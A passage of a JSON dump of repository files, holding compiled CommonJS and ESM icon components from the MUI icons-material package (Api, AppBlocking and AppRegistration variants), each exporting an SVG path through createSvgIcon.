    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'Api');"
  },
  {
    "path": "packages/mui-icons-material/lib/Api.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'Api');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13c-.56.56-1.45.56-2 .01V13c-.55-.55-.55-1.44 0-1.99V11c.55-.55 1.44-.55 1.99 0H13c.55.55.55 1.45 0 2m-1-7 2.12 2.12 2.5-2.5-3.2-3.2c-.78-.78-2.05-.78-2.83 0l-3.2 3.2 2.5 2.5zm-6 6 2.12-2.12-2.5-2.5-3.2 3.2c-.78.78-.78 2.05 0 2.83l3.2 3.2 2.5-2.5zm12 0-2.12 2.12 2.5 2.5 3.2-3.2c.78-.78.78-2.05 0-2.83l-3.2-3.2-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5 3.2 3.2c.78.78 2.05.78 2.83 0l3.2-3.2-2.5-2.5z\"\n}), 'ApiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13c-.56.56-1.45.56-2 .01V13c-.55-.55-.55-1.44 0-1.99V11c.55-.55 1.44-.55 1.99 0H13c.55.55.55 1.45 0 2m-1-7 2.12 2.12 2.5-2.5-3.2-3.2c-.78-.78-2.05-.78-2.83 0l-3.2 3.2 2.5 2.5zm-6 6 2.12-2.12-2.5-2.5-3.2 3.2c-.78.78-.78 2.05 0 2.83l3.2 3.2 2.5-2.5zm12 0-2.12 2.12 2.5 2.5 3.2-3.2c.78-.78.78-2.05 0-2.83l-3.2-3.2-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5 3.2 3.2c.78.78 2.05.78 2.83 0l3.2-3.2-2.5-2.5z\"\n}), 'ApiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 12-2 2-2-2 2-2zm-2-6 2.12 2.12 2.5-2.5L12 1 7.38 5.62l2.5 2.5zm-6 6 2.12-2.12-2.5-2.5L1 12l4.62 4.62 2.5-2.5zm12 0-2.12 2.12 2.5 2.5L23 12l-4.62-4.62-2.5 2.5zm-6 6-2.12-2.12-2.5 2.5L12 23l4.62-4.62-2.5-2.5z\"\n}), 'ApiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlocking.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'AppBlocking');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlocking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'AppBlocking');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\")], 'AppBlockingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\")], 'AppBlockingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'AppBlockingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'AppBlockingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23v-6h-2v1H7V6h10v1h2V.94L5 1v22z\"\n}, \"1\")], 'AppBlockingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23v-6h-2v1H7V6h10v1h2V.94L5 1v22z\"\n}, \"1\")], 'AppBlockingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"2\")], 'AppBlockingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppBlockingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-2.5 4c0-1.38 1.12-2.5 2.5-2.5.42 0 .8.11 1.15.29l-3.36 3.36c-.18-.35-.29-.73-.29-1.15m2.5 2.5c-.42 0-.8-.11-1.15-.29l3.36-3.36c.18.35.29.73.29 1.15 0 1.38-1.12 2.5-2.5 2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"2\")], 'AppBlockingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistration.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm10 8.42V10h-4v4h2.42zm6.88-1.13-1.17-1.17c-.16-.16-.42-.16-.58 0l-.88.88L20 12.75l.88-.88c.16-.16.16-.42 0-.58M11 18.25V20h1.75l6.67-6.67-1.75-1.75zM16 4h4v4h-4z\"\n}), 'AppRegistration');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistration.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm10 8.42V10h-4v4h2.42zm6.88-1.13-1.17-1.17c-.16-.16-.42-.16-.58 0l-.88.88L20 12.75l.88-.88c.16-.16.16-.42 0-.58M11 18.25V20h1.75l6.67-6.67-1.75-1.75zM16 4h4v4h-4z\"\n}), 'AppRegistration');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm6.85-.47-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}), 'AppRegistrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm6.85-.47-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}), 'AppRegistrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"2\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"2\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18.07v1.43c0 .28.22.5.5.5h1.4c.13 0 .26-.05.35-.15l5.83-5.83-2.12-2.12-5.81 5.81c-.1.1-.15.23-.15.36M12.03 14 14 12.03V12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2zm8.82-2.44-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}, \"5\")], 'AppRegistrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"2\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"2\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18.07v1.43c0 .28.22.5.5.5h1.4c.13 0 .26-.05.35-.15l5.83-5.83-2.12-2.12-5.81 5.81c-.1.1-.15.23-.15.36M12.03 14 14 12.03V12c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2zm8.82-2.44-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}, \"5\")], 'AppRegistrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm3.6716-.8244 1.4142-1.4142 2.1213 2.1214-1.4142 1.4142z\"\n}), 'AppRegistrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm3.6716-.8244 1.4142-1.4142 2.1213 2.1214-1.4142 1.4142z\"\n}), 'AppRegistrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm6.85-.47-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}), 'AppRegistrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppRegistrationTwoTone.mjs",
